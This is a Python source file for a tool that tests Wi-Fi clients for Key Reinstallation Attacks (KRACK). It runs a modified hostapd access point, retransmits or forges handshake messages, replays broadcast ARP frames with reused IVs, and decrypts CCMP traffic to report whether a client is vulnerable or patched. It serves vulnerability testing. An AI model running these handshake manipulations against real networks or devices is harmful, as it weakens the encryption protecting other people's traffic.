krack-test-client.py 29 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740
  1. #!/usr/bin/env python2
  2. import logging
  3. logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
  4. from scapy.all import *
  5. import sys, socket, struct, time, subprocess, atexit, select
  6. from datetime import datetime
  7. from wpaspy import Ctrl
  8. from Cryptodome.Cipher import AES
  9. # FIXME: We are repeating the "disable hw encryption" of FT tests
  10. USAGE = """{name} - Tool to test Key Reinstallation Attacks against clients
  11. To test wheter a client is vulnerable to Key Reinstallation Attack against
  12. the 4-way handshake or group key handshake, take the following steps:
  13. 1. Compile our modified hostapd instance. This only needs to be done once.
  14. cd ../hostapd
  15. cp defconfig .config
  16. make -j 2
  17. 2. The hardware encryption engine of some Wi-Fi NICs have bugs that interfere
  18. with our script. So disable hardware encryption by executing:
  19. cd ../krackattack/
  20. ./disable-hwcrypto.sh
  21. This only needs to be done once. It's recommended to reboot after executing
  22. this script. After plugging in your Wi-Fi NIC, use `systool -vm ath9k_htc`
  23. or similar to confirm the nohwcript/.. param has been set. We tested this
  24. script with an Intel Dual Band Wireless-AC 7260 and a TP-Link TL-WN722N.
  25. 3. Execute this script. Accepted parameters are:
  26. --group Test the group key handshake instead of the 4-way handshake
  27. --debug Show more debug messages
  28. --tptk See step 5 (forge Msg1/4 with replayed ANonce before Msg3/4)
  29. --tptk-rand See step 5 (forge Msg1/4 with random ANonce before Msg3/4)
  30. All other supplied arguments are passed on to hostapd.
  31. The only two commands you will normally have to execute are:
  32. {name}
  33. {name} --group
  34. The first one tests for key reinstallations in the 4-way handshake (see
  35. step 4), and the second tests one for key reinstallations in the group key
  36. handshake (see step 5).
  37. !! The default network name is testnetwork with password abcdefgh !!
  38. Note that you can change settings of the AP by modifying hostapd.conf.
  39. You will probably have to edit the line `interface=` to specify the
  40. correct Wi-Fi interface to use for the AP.
  41. 4. To test key reinstallations in the 4-way handshake, the script will keep
  42. sending encrypted message 3's to the client. To start the script execute:
  43. {name}
  44. Connect the the AP and the following tests will be performed automatically:
  45. 4a. The script monitors traffic sent by the client to see if the pairwise
  46. key is being reinstalled. To assure the client is sending enough frames,
  47. you can optionally ping the AP: ping 192.168.100.254 .
  48. If the client is vulnerable, the script will show something like:
  49. [19:02:37] 78:31:c1:c4:88:92: IV reuse detected (IV=1, seq=10). Client is vulnerable to pairwise key reinstallations in the 4-way handshake!
  50. If the client is patched, the script will show (this can take a minute):
  51. [18:58:11] 90:18:7c:6e:6b:20: client DOESN'T seem vulnerable to pairwise key reinstallation in the 4-way handshake.
  52. 4b. Once the client has requested an IP using DHCP, the script tests for
  53. reinstallations of the group key by sending broadcast ARP requests to the
  54. client using an already used (replayed) packet number (= IV). The client
  55. *must* request an IP using DHCP for this test to start.
  56. If the client is vulnerable, the script will show something like:
  57. [19:03:08] 78:31:c1:c4:88:92: Received 5 unique replies to replayed broadcast ARP requests. Client is vulnerable to group
  58. [19:03:08] key reinstallations in the 4-way handshake (or client accepts replayed broadcast frames)!
  59. If the client is patched, the script will show (this can take a minute):
  60. [19:03:08] 78:31:c1:c4:88:92: client DOESN'T seem vulnerable to group key reinstallation in the 4-way handshake handshake.
  61. Note that this scripts *indirectly* tests for reinstallations of the group
  62. key, by testing if replayed broadcast frames are accepted by the client.
  63. 5. Some supplicants (e.g. wpa_supplicant v2.6) are only vulnerable to pairwise
  64. key reinstallations in the 4-way handshake when a forged message 1 is
  65. injected before sending a retransmitted message 3. To test for this variant
  66. of the attack, you can execute:
  67. {name} --tptk # Inject message 1 with a replayed ANonce
  68. {name} --tptk-rand # Inject message 1 with a random ANonce
  69. Now follow the same steps as in step 4 to see if a supplicant is vulnerable.
  70. Try both these attack variants after running the normal tests of step 4.
  71. 6. To test key reinstallations in the group key handshake, the script will keep
  72. performing new group key handshakes using an identical (static) group key.
  73. The client *must* request an IP using DHCP for this test to start. To start
  74. the script execute:
  75. {name} --group
  76. Connect the the AP and all tests will be performed automatically. The
  77. working and output of the script is now similar as in step 4b.
  78. 7. Some final recommendations:
  79. 6a. Perform these tests in a room with little interference. A high amount
  80. of packet loss will make this script unreliable!
  81. 6b. Manually inspect network traffic to confirm the output of the script:
  82. - Use an extra Wi-Fi NIC in monitor mode to check pairwise key reinstalls
  83. by monitoring the IVs of frames sent by the client.
  84. - Capture traffic on the client to see if the replayed broadcast ARP
  85. requests are accepted or not.
  86. 6c. If the client being tested can use multiple Wi-Fi radios/NICs, test
  87. using a few different ones.
  88. """
  89. # FIXME:
  90. # - If the client installs an all-zero key, we cannot reliably test the group key handshake
  91. # - We should test decryption using an all-zero key, and warn if this seems to succeed
  92. # Future work:
  93. # - Detect if the client reinstalls an all-zero encryption key (wpa_supplicant v2.4 and 2.5)
  94. # - Ability to test the group key handshake against specific clients only
  95. # - Individual test to see if the client accepts replayed broadcast traffic (without performing key reinstallation)
  96. # After how many seconds a new message 3, or new group key message 1, is sent.
  97. # This value must match the one in `../src/ap/wpa_auth.c` (same variable name).
  98. HANDSHAKE_TRANSMIT_INTERVAL = 2
  99. #### Basic output and logging functionality ####
  100. ALL, DEBUG, INFO, STATUS, WARNING, ERROR = range(6)
  101. COLORCODES = { "gray" : "\033[0;37m",
  102. "green" : "\033[0;32m",
  103. "orange": "\033[0;33m",
  104. "red" : "\033[0;31m" }
  105. global_log_level = INFO
  106. def log(level, msg, color=None, showtime=True):
  107. if level < global_log_level: return
  108. if level == DEBUG and color is None: color="gray"
  109. if level == WARNING and color is None: color="orange"
  110. if level == ERROR and color is None: color="red"
  111. print (datetime.now().strftime('[%H:%M:%S] ') if showtime else " "*11) + COLORCODES.get(color, "") + msg + "\033[1;0m"
  112. #### Utility Commands ####
  113. def hostapd_command(hostapd_ctrl, cmd):
  114. rval = hostapd_ctrl.request(cmd)
  115. if "UNKNOWN COMMAND" in rval:
  116. log(ERROR, "Hostapd did not recognize the command %s. Did you (re)compile hostapd?" % cmd.split()[0])
  117. quit(1)
  118. return rval
  119. #### Packet Processing Functions ####
  120. class DHCP_sock(DHCP_am):
  121. def __init__(self, **kwargs):
  122. self.sock = kwargs.pop("sock")
  123. super(DHCP_am, self).__init__(**kwargs)
  124. def send_reply(self, reply):
  125. self.sock.send(reply, **self.optsend)
  126. def print_reply(self, req, reply):
  127. log(STATUS, "%s: DHCP reply %s to %s" % (reply.getlayer(Ether).dst, reply.getlayer(IP).dst, reply.dst), color="green")
  128. def remove_client(self, clientmac):
  129. clientip = self.leases[clientmac]
  130. self.pool.append(clientip)
  131. del self.leases[clientmac]
  132. class ARP_sock(ARP_am):
  133. def __init__(self, **kwargs):
  134. self.sock = kwargs.pop("sock")
  135. super(ARP_am, self).__init__(**kwargs)
  136. def send_reply(self, reply):
  137. self.sock.send(reply, **self.optsend)
  138. def print_reply(self, req, reply):
  139. log(STATUS, "%s: ARP: %s ==> %s on %s" % (reply.getlayer(Ether).dst, req.summary(), reply.summary(), self.iff))
  140. class MitmSocket(L2Socket):
  141. def __init__(self, **kwargs):
  142. super(MitmSocket, self).__init__(**kwargs)
  143. def send(self, p):
  144. # Hack: set the More Data flag so we can detect injected frames (and so clients stay awake longer)
  145. p[Dot11].FCfield |= 0x20
  146. L2Socket.send(self, RadioTap()/p)
  147. def _strip_fcs(self, p):
  148. # Scapy can't handle the optional Frame Check Sequence (FCS) field automatically
  149. if p[RadioTap].present & 2 != 0:
  150. rawframe = str(p[RadioTap])
  151. pos = 8
  152. while ord(rawframe[pos - 1]) & 0x80 != 0: pos += 4
  153. # If the TSFT field is present, it must be 8-bytes aligned
  154. if p[RadioTap].present & 1 != 0:
  155. pos += (8 - (pos % 8))
  156. pos += 8
  157. # Remove FCS if present
  158. if ord(rawframe[pos]) & 0x10 != 0:
  159. return Dot11(str(p[Dot11])[:-4])
  160. return p[Dot11]
  161. def recv(self, x=MTU):
  162. p = L2Socket.recv(self, x)
  163. if p == None or not Dot11 in p: return None
  164. # Hack: ignore frames that we just injected and are echoed back by the kernel
  165. if p[Dot11].FCfield & 0x20 != 0:
  166. return None
  167. # Strip the FCS if present, and drop the RadioTap header
  168. return self._strip_fcs(p)
  169. def close(self):
  170. super(MitmSocket, self).close()
  171. def dot11_get_seqnum(p):
  172. return p[Dot11].SC >> 4
  173. def dot11_get_iv(p):
  174. """Scapy can't handle Extended IVs, so do this properly ourselves (only works for CCMP)"""
  175. wep = p[Dot11WEP]
  176. if wep.keyid & 32:
  177. # FIXME: Only CCMP is supported (TKIP uses a different IV structure)
  178. return ord(wep.iv[0]) + (ord(wep.iv[1]) << 8) + (struct.unpack(">I", wep.wepdata[0:4])[0] << 16)
  179. else:
  180. return ord(wep.iv[0]) + (ord(wep.iv[1]) << 8) + (ord(wep.iv[2]) << 16)
  181. def dot11_get_priority(p):
  182. if not Dot11QoS in p: return 0
  183. return ord(str(p[Dot11QoS])[0])
  184. def get_ccmp_payload(p):
  185. # Extract encrypted payload:
  186. # - Skip extended IV (4 bytes in total)
  187. # - Exclude first 4 bytes of the CCMP MIC (note that last 4 are saved in the WEP ICV field)
  188. return str(p.wepdata[4:-4])
  189. def decrypt_ccmp(p, key):
  190. payload = get_ccmp_payload(p)
  191. sendermac = p[Dot11].addr2
  192. priority = dot11_get_priority(p)
  193. iv = dot11_get_iv(p)
  194. pn = struct.pack(">I", iv >> 16) + struct.pack(">H", iv & 0xFFFF)
  195. nonce = chr(priority) + sendermac.replace(':','').decode("hex") + pn
  196. cipher = AES.new(key, AES.MODE_CCM, nonce, mac_len=8)
  197. plaintext = cipher.decrypt(payload)
  198. return plaintext
  199. #### Main Testing Code ####
  200. class IvInfo():
  201. def __init__(self, p):
  202. self.iv = dot11_get_iv(p)
  203. self.seq = dot11_get_seqnum(p)
  204. self.time = p.time
  205. def is_reused(self, p):
  206. """Check if frame p reuses an IV and is not a retransmitted frame"""
  207. iv = dot11_get_iv(p)
  208. seq = dot11_get_seqnum(p)
  209. return self.iv == iv and self.seq != seq and p.time >= self.time + 1
  210. class ClientState():
  211. UNKNOWN, VULNERABLE, PATCHED = range(3)
  212. IDLE, STARTED, GOT_CANARY, FINISHED = range(4)
  213. def __init__(self, clientmac, test_group_hs=False, test_tptk=False):
  214. self.mac = clientmac
  215. self.TK = None
  216. self.vuln_4way = ClientState.UNKNOWN
  217. self.vuln_group = ClientState.UNKNOWN
  218. # FIXME: Separate variable for group handshake result?
  219. self.ivs = dict() # maps IV values to IvInfo objects
  220. self.pairkey_sent_time_prev_iv = None
  221. self.pairkey_intervals_no_iv_reuse = 0
  222. self.pairkey_tptk = test_tptk
  223. self.groupkey_reset()
  224. self.groupkey_grouphs = test_group_hs
  225. def groupkey_reset(self):
  226. self.groupkey_state = ClientState.IDLE
  227. self.groupkey_prev_canary_time = 0
  228. self.groupkey_num_canaries = 0
  229. self.groupkey_requests_sent = 0
  230. self.groupkey_patched_intervals = -1 # -1 because the first broadcast ARP requests are still valid
  231. def start_grouphs_test():
  232. self.groupkey_reset()
  233. self.groupkey_grouphs = True
  234. def get_encryption_key(self, hostapd_ctrl):
  235. if self.TK is None:
  236. # Clear old replies and messages from the hostapd control interface
  237. while hostapd_ctrl.pending():
  238. hostapd_ctrl.recv()
  239. # Contact our modified Hostapd instance to request the pairwise key
  240. response = hostapd_command(hostapd_ctrl, "GET_TK " + self.mac)
  241. if not "FAIL" in response:
  242. self.TK = response.strip().decode("hex")
  243. return self.TK
  244. def decrypt(self, p, hostapd_ctrl):
  245. payload = get_ccmp_payload(p)
  246. llcsnap, packet = payload[:8], payload[8:]
  247. if payload.startswith("\xAA\xAA\x03\x00\x00\x00"):
  248. # On some kernels, the virtual interface associated to the real AP interface will return
  249. # frames where the payload is already decrypted (this happens when hardware decryption is
  250. # used). So if the payload seems decrypted, just extract the full plaintext from the frame.
  251. plaintext = payload
  252. else:
  253. key = self.get_encryption_key(hostapd_ctrl)
  254. plaintext = decrypt_ccmp(p, key)
  255. # If it still fails, try an all-zero key
  256. if not plaintext.startswith("\xAA\xAA\x03\x00\x00\x00"):
  257. plaintext = decrypt_ccmp(p, "\x00" * 16)
  258. return plaintext
  259. def track_used_iv(self, p):
  260. iv = dot11_get_iv(p)
  261. self.ivs[iv] = IvInfo(p)
  262. def is_iv_reused(self, p):
  263. """Returns True if this is an *observed* IV reuse and not just a retransmission"""
  264. iv = dot11_get_iv(p)
  265. return iv in self.ivs and self.ivs[iv].is_reused(p)
  266. def is_new_iv(self, p):
  267. """Returns True if the IV in this frame is higher than all previously observed ones"""
  268. iv = dot11_get_iv(p)
  269. if len(self.ivs) == 0: return True
  270. return iv > max(self.ivs.keys())
  271. def check_pairwise_reinstall(self, p):
  272. """Inspect whether the IV is reused, or whether the client seem to be patched"""
  273. # If this is gaurenteed IV reuse (and not just a benign retransmission), mark the client as vulnerable
  274. if self.is_iv_reused(p):
  275. if self.vuln_4way != ClientState.VULNERABLE:
  276. iv = dot11_get_iv(p)
  277. seq = dot11_get_seqnum(p)
  278. log(INFO, ("%s: IV reuse detected (IV=%d, seq=%d). " +
  279. "Client is vulnerable to pairwise key reinstallations in the 4-way handshake!") % (self.mac, iv, seq), color="green")
  280. self.vuln_4way = ClientState.VULNERABLE
  281. # If it's a higher IV than all previous ones, try to check if the client seems patched
  282. elif self.vuln_4way == ClientState.UNKNOWN and self.is_new_iv(p):
  283. # Save how many intervals we received a data packet without IV reset. Use twice the
  284. # transmission interval of message 3, in case one message 3 is lost due to noise.
  285. if self.pairkey_sent_time_prev_iv is None:
  286. self.pairkey_sent_time_prev_iv = p.time
  287. elif self.pairkey_sent_time_prev_iv + 2 * HANDSHAKE_TRANSMIT_INTERVAL + 1 <= p.time:
  288. self.pairkey_intervals_no_iv_reuse += 1
  289. self.pairkey_sent_time_prev_iv = p.time
  290. log(DEBUG, "%s: no pairwise IV resets seem to have occured for one interval" % self.mac)
  291. # If during several intervals all IV reset attempts failed, the client is likely patched.
  292. # We wait for enough such intervals to occur, to avoid getting a wrong result.
  293. if self.pairkey_intervals_no_iv_reuse >= 5 and self.vuln_4way == ClientState.UNKNOWN:
  294. self.vuln_4way = ClientState.PATCHED
  295. # Be sure to clarify *which* type of attack failed (to remind user to test others attacks as well)
  296. msg = "%s: client DOESN'T seem vulnerable to pairwise key reinstallation in the 4-way handshake"
  297. if self.pairkey_tptk == KRAckAttackClient.TPTK_NONE:
  298. msg += " (using standard attack)"
  299. elif self.pairkey_tptk == KRAckAttackClient.TPTK_REPLAY:
  300. msg += " (using TPTK attack)"
  301. elif self.pairkey_tptk == KRAckAttackClient.TPTK_RAND:
  302. msg += " (using TPTK-RAND attack)"
  303. log(INFO, (msg + ".") % self.mac, color="green")
  304. def mark_allzero_key(self, p):
  305. if self.vuln_4way != ClientState.VULNERABLE:
  306. iv = dot11_get_iv(p)
  307. seq = dot11_get_seqnum(p)
  308. log(INFO, ("%s: usage of all-zero key detected (IV=%d, seq=%d). " +
  309. "Client is vulnerable to (re)installation of an all-zero key in the 4-way handshake!") % (self.mac, iv, seq), color="green")
  310. log(WARNING, "%s: !!! Other tests are unreliable due to all-zero key usage, please fix this first !!!" % self.mac)
  311. self.vuln_4way = ClientState.VULNERABLE
  312. def groupkey_handle_canary(self, p):
  313. """Handle replies to the replayed ARP broadcast request (which reuses an IV)"""
  314. # Must be testing this client, and must not be a benign retransmission
  315. if not self.groupkey_state in [ClientState.STARTED, ClientState.GOT_CANARY]: return
  316. if self.groupkey_prev_canary_time + 1 > p.time: return
  317. self.groupkey_num_canaries += 1
  318. log(DEBUG, "%s: received %d replies to the replayed broadcast ARP requests" % (self.mac, self.groupkey_num_canaries))
  319. # We wait for several replies before marking the client as vulnerable, because
  320. # the first few broadcast ARP requests still use a valid (not yet used) IV.
  321. if self.groupkey_num_canaries >= 5:
  322. assert self.vuln_group != ClientState.VULNERABLE
  323. log(INFO, "%s: Received %d unique replies to replayed broadcast ARP requests. Client is vulnerable to group" \
  324. % (self.mac, self.groupkey_num_canaries), color="green")
  325. log(INFO, " key reinstallations in the %s handshake (or client accepts replayed broadcast frames)!" \
  326. % ("group key" if self.groupkey_grouphs else "4-way"), color="green")
  327. self.vuln_group = ClientState.VULNERABLE
  328. self.groupkey_state = ClientState.FINISHED
  329. # Remember that we got a reply this interval (see groupkey_track_request to detect patched clients)
  330. else:
  331. self.groupkey_state = ClientState.GOT_CANARY
  332. self.groupkey_prev_canary_time = p.time
  333. def groupkey_track_request(self):
  334. """Track when we went broadcast ARP requests, and determine if a client seems patched"""
  335. if self.vuln_group != ClientState.UNKNOWN: return
  336. hstype = "group key" if self.groupkey_grouphs else "4-way"
  337. # Show a message when we started with testing the client
  338. if self.groupkey_state == ClientState.IDLE:
  339. log(STATUS, "%s: client has IP address -> testing for group key reinstallation in the %s handshake" % (self.mac, hstype))
  340. self.groupkey_state = ClientState.STARTED
  341. if self.groupkey_requests_sent == 4:
  342. # We sent four broadcast ARP requests, and got at least one got a reply. This indicates the client is vulnerable.
  343. if self.groupkey_state == ClientState.GOT_CANARY:
  344. log(DEBUG, "%s: got a reply to broadcast ARP during this interval" % self.mac)
  345. self.groupkey_state = ClientState.STARTED
  346. # We sent four broadcast ARP requests, and didn't get a reply to any. This indicates the client is patched.
  347. elif self.groupkey_state == ClientState.STARTED:
  348. self.groupkey_patched_intervals += 1
  349. log(DEBUG, "%s: no group IV resets seem to have occured for %d interval(s)" % (self.mac, self.groupkey_patched_intervals))
  350. self.groupkey_state = ClientState.STARTED
  351. self.groupkey_requests_sent = 0
  352. # If the client appears secure for several intervals (see above), it's likely patched
  353. if self.groupkey_patched_intervals >= 5 and self.vuln_group == ClientState.UNKNOWN:
  354. log(INFO, "%s: client DOESN'T seem vulnerable to group key reinstallation in the %s handshake." % (self.mac, hstype), color="green")
  355. self.vuln_group = ClientState.PATCHED
  356. self.groupkey_state = ClientState.FINISHED
  357. self.groupkey_requests_sent += 1
  358. log(DEBUG, "%s: sent %d broadcasts ARPs this interval" % (self.mac, self.groupkey_requests_sent))
  359. class KRAckAttackClient():
  360. TPTK_NONE, TPTK_REPLAY, TPTK_RAND = range(3)
  361. def __init__(self, interface):
  362. self.nic_iface = interface
  363. self.nic_mon = interface + "mon"
  364. self.test_grouphs = False
  365. self.test_tptk = KRAckAttackClient.TPTK_NONE
  366. try:
  367. self.apmac = scapy.arch.get_if_hwaddr(interface)
  368. except:
  369. log(ERROR, 'Failed to get MAC address of %s. Specify an existing interface in hostapd.conf at the line "interface=NAME".' % interface)
  370. raise
  371. self.sock_mon = None
  372. self.sock_eth = None
  373. self.hostapd = None
  374. self.hostapd_ctrl = None
  375. self.dhcp = None
  376. self.group_ip = None
  377. self.group_arp = None
  378. self.clients = dict()
  379. def reset_client_info(self, clientmac):
  380. if clientmac in self.dhcp.leases:
  381. self.dhcp.remove_client(clientmac)
  382. log(DEBUG, "%s: Removing client from DHCP leases" % clientmac)
  383. if clientmac in self.clients:
  384. del self.clients[clientmac]
  385. log(DEBUG, "%s: Removing ClientState object" % clientmac)
  386. def handle_replay(self, p):
  387. """Replayed frames (caused by a pairwise key reinstallation) are rejected by the kernel. This
  388. function processes these frames manually so we can still test reinstallations of the group key."""
  389. if not Dot11WEP in p: return
  390. # Reconstruct Ethernet header
  391. clientmac = p.addr2
  392. header = Ether(dst=self.apmac, src=clientmac)
  393. header.time = p.time
  394. # Decrypt the payload and obtain LLC/SNAP header and packet content
  395. client = self.clients[clientmac]
  396. plaintext = client.decrypt(p, self.hostapd_ctrl)
  397. llcsnap, packet = plaintext[:8], plaintext[8:]
  398. # Rebuild the full Ethernet packet
  399. if llcsnap == "\xAA\xAA\x03\x00\x00\x00\x08\x06":
  400. decap = header/ARP(packet)
  401. elif llcsnap == "\xAA\xAA\x03\x00\x00\x00\x08\x00":
  402. decap = header/IP(packet)
  403. elif llcsnap == "\xAA\xAA\x03\x00\x00\x00\x86\xdd":
  404. decap = header/IPv6(packet)
  405. #elif llcsnap == "\xAA\xAA\x03\x00\x00\x00\x88\x8e":
  406. # # EAPOL
  407. else:
  408. return
  409. # Now process the packet as if it were a valid (non-replayed) one
  410. self.process_eth_rx(decap)
  411. def handle_mon_rx(self):
  412. p = self.sock_mon.recv()
  413. if p == None: return
  414. if p.type == 1: return
  415. # Note: we cannot verify that the NIC is indeed reusing IVs when sending the broadcast
  416. # ARP requests, because it may override them in the firmware/hardware (some Atheros
  417. # Wi-Fi NICs do no properly reset the Tx group key IV when using hardware encryption).
  418. # The first bit in FCfield is set if the frames is "to-DS"
  419. clientmac, apmac = (p.addr1, p.addr2) if (p.FCfield & 2) != 0 else (p.addr2, p.addr1)
  420. if apmac != self.apmac: return None
  421. # Reset info about disconnected clients
  422. if Dot11Deauth in p or Dot11Disas in p:
  423. self.reset_client_info(clientmac)
  424. # Inspect encrypt frames for IV reuse & handle replayed frames rejected by the kernel
  425. elif p.addr1 == self.apmac and Dot11WEP in p:
  426. if not clientmac in self.clients:
  427. self.clients[clientmac] = ClientState(clientmac, test_group_hs=self.test_grouphs, test_tptk=self.test_tptk)
  428. client = self.clients[clientmac]
  429. iv = dot11_get_iv(p)
  430. log(DEBUG, "%s: transmitted data using IV=%d (seq=%d)" % (clientmac, iv, dot11_get_seqnum(p)))
  431. if decrypt_ccmp(p, "\x00" * 16).startswith("\xAA\xAA\x03\x00\x00\x00"):
  432. client.mark_allzero_key(p)
  433. if not self.test_grouphs:
  434. client.check_pairwise_reinstall(p)
  435. if client.is_iv_reused(p):
  436. self.handle_replay(p)
  437. client.track_used_iv(p)
  438. def process_eth_rx(self, p):
  439. self.dhcp.reply(p)
  440. self.group_arp.reply(p)
  441. clientmac = p[Ether].src
  442. if not clientmac in self.clients: return
  443. client = self.clients[clientmac]
  444. if ARP in p and p[ARP].pdst == self.group_ip:
  445. client.groupkey_handle_canary(p)
  446. def handle_eth_rx(self):
  447. p = self.sock_eth.recv()
  448. if p == None or not Ether in p: return
  449. self.process_eth_rx(p)
  450. def configure_interfaces(self):
  451. log(STATUS, "Note: disable Wi-Fi in network manager & disable hardware encryption. Both may interfere with this script.")
  452. # 0. Some users may forget this otherwise
  453. subprocess.check_output(["rfkill", "unblock", "wifi"])
  454. # 1. Remove unused virtual interfaces to start from a clean state
  455. subprocess.call(["iw", self.nic_mon, "del"], stdout=subprocess.PIPE, stdin=subprocess.PIPE)
  456. # 2. Configure monitor mode on interfaces
  457. subprocess.check_output(["iw", self.nic_iface, "interface", "add", self.nic_mon, "type", "monitor"])
  458. # Some kernels (Debian jessie - 3.16.0-4-amd64) don't properly add the monitor interface. The following ugly
  459. # sequence of commands assures the virtual interface is properly registered as a 802.11 monitor interface.
  460. subprocess.check_output(["iw", self.nic_mon, "set", "type", "monitor"])
  461. time.sleep(0.5)
  462. subprocess.check_output(["iw", self.nic_mon, "set", "type", "monitor"])
  463. subprocess.check_output(["ifconfig", self.nic_mon, "up"])
  464. def run(self, test_grouphs=False, test_tptk=False):
  465. self.configure_interfaces()
  466. # Open the patched hostapd instance that carries out tests and let it start
  467. log(STATUS, "Starting hostapd ...")
  468. self.hostapd = subprocess.Popen(["../hostapd/hostapd", "hostapd.conf"] + sys.argv[1:])
  469. time.sleep(1)
  470. try:
  471. self.hostapd_ctrl = Ctrl("hostapd_ctrl/" + self.nic_iface)
  472. self.hostapd_ctrl.attach()
  473. except:
  474. log(ERROR, "It seems hostapd did not start properly, please inspect its output.")
  475. log(ERROR, "Did you disable Wi-Fi in the network manager? Otherwise hostapd won't work.")
  476. raise
  477. self.sock_mon = MitmSocket(type=ETH_P_ALL, iface=self.nic_mon)
  478. self.sock_eth = L2Socket(type=ETH_P_ALL, iface=self.nic_iface)
  479. # Let scapy handle DHCP requests
  480. self.dhcp = DHCP_sock(sock=self.sock_eth,
  481. domain='krackattack.com',
  482. pool=Net('192.168.100.0/24'),
  483. network='192.168.100.0/24',
  484. gw='192.168.100.254',
  485. renewal_time=600, lease_time=3600)
  486. # Configure gateway IP: reply to ARP and ping requests
  487. subprocess.check_output(["ifconfig", self.nic_iface, "192.168.100.254"])
  488. # Use a dedicated IP address for our broadcast ARP requests and replies
  489. self.group_ip = self.dhcp.pool.pop()
  490. self.group_arp = ARP_sock(sock=self.sock_eth, IP_addr=self.group_ip, ARP_addr=self.apmac)
  491. # If applicable, inform hostapd that we are testing the group key handshake
  492. if test_grouphs:
  493. hostapd_command(self.hostapd_ctrl, "START_GROUP_TESTS")
  494. self.test_grouphs = True
  495. # If applicable, inform hostapd that we are testing for Temporal PTK (TPTK) construction behaviour
  496. self.test_tptk = test_tptk
  497. if self.test_tptk == KRAckAttackClient.TPTK_REPLAY:
  498. hostapd_command(self.hostapd_ctrl, "TEST_TPTK")
  499. elif self.test_tptk == KRAckAttackClient.TPTK_RAND:
  500. hostapd_command(self.hostapd_ctrl, "TEST_TPTK_RAND")
  501. log(STATUS, "Ready. Connect to this Access Point to start the tests. Make sure the client requests an IP using DHCP!", color="green")
  502. # Monitor both the normal interface and virtual monitor interface of the AP
  503. self.next_arp = time.time() + 1
  504. while True:
  505. sel = select.select([self.sock_mon, self.sock_eth], [], [], 1)
  506. if self.sock_mon in sel[0]: self.handle_mon_rx()
  507. if self.sock_eth in sel[0]: self.handle_eth_rx()
  508. # Periodically send the replayed broadcast ARP requests to test for group key reinstallations
  509. if time.time() > self.next_arp:
  510. self.next_arp = time.time() + HANDSHAKE_TRANSMIT_INTERVAL
  511. for client in self.clients.values():
  512. # Also keep injecting to PATCHED clients (just to be sure they keep rejecting replayed frames)
  513. if client.vuln_group != ClientState.VULNERABLE and client.mac in self.dhcp.leases:
  514. clientip = self.dhcp.leases[client.mac]
  515. client.groupkey_track_request()
  516. log(INFO, "%s: sending broadcast ARP to %s from %s" % (client.mac, clientip, self.group_ip))
  517. request = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, hwsrc=self.apmac, psrc=self.group_ip, pdst=clientip)
  518. self.sock_eth.send(request)
  519. def stop(self):
  520. log(STATUS, "Closing hostapd and cleaning up ...")
  521. if self.hostapd:
  522. self.hostapd.terminate()
  523. self.hostapd.wait()
  524. if self.sock_mon: self.sock_mon.close()
  525. if self.sock_eth: self.sock_eth.close()
  526. def cleanup():
  527. attack.stop()
  528. def argv_get_interface():
  529. for i in range(len(sys.argv)):
  530. if not sys.argv[i].startswith("-i"):
  531. continue
  532. if len(sys.argv[i]) > 2:
  533. return sys.argv[i][2:]
  534. else:
  535. return sys.argv[i + 1]
  536. return None
  537. def argv_pop_argument(argument):
  538. if not argument in sys.argv: return False
  539. idx = sys.argv.index(argument)
  540. del sys.argv[idx]
  541. return True
  542. def hostapd_read_config(config):
  543. # Read the config, get the interface name, and verify some settings.
  544. interface = None
  545. with open(config) as fp:
  546. for line in fp.readlines():
  547. line = line.strip()
  548. if line.startswith("interface="):
  549. interface = line.split('=')[1]
  550. elif line.startswith("wpa_pairwise=") or line.startswith("rsn_pairwise"):
  551. if "TKIP" in line:
  552. log(ERROR, "ERROR: We only support tests using CCMP. Only include CCMP in %s config at the following line:" % config)
  553. log(ERROR, " >%s<" % line, showtime=False)
  554. quit(1)
  555. # Parameter -i overrides interface in config.
  556. # FIXME: Display warning when multiple interfaces are used.
  557. if argv_get_interface() is not None:
  558. interface = argv_get_interface()
  559. return interface
  560. if __name__ == "__main__":
  561. if "--help" in sys.argv or "-h" in sys.argv:
  562. print USAGE.format(name=sys.argv[0])
  563. quit(1)
  564. test_grouphs = argv_pop_argument("--group")
  565. test_tptk_replay = argv_pop_argument("--tptk")
  566. test_tptk_rand = argv_pop_argument("--tptk-rand")
  567. while argv_pop_argument("--debug"):
  568. global_log_level -= 1
  569. test_tptk = KRAckAttackClient.TPTK_NONE
  570. if test_tptk_replay and test_tptk_rand:
  571. log(ERROR, "Please only specify --tptk or --tptk-rand")
  572. elif test_tptk_replay:
  573. test_tptk = KRAckAttackClient.TPTK_REPLAY
  574. elif test_tptk_rand:
  575. test_tptk = KRAckAttackClient.TPTK_RAND
  576. try:
  577. interface = hostapd_read_config("hostapd.conf")
  578. except Exception as ex:
  579. log(ERROR, "Failed to parse the hostapd.conf config file")
  580. raise
  581. if not interface:
  582. log(ERROR, 'Failed to determine wireless interface. Specify one in hostapd.conf at the line "interface=NAME".')
  583. quit(1)
  584. attack = KRAckAttackClient(interface)
  585. atexit.register(cleanup)
  586. attack.run(test_grouphs=test_grouphs, test_tptk=test_tptk)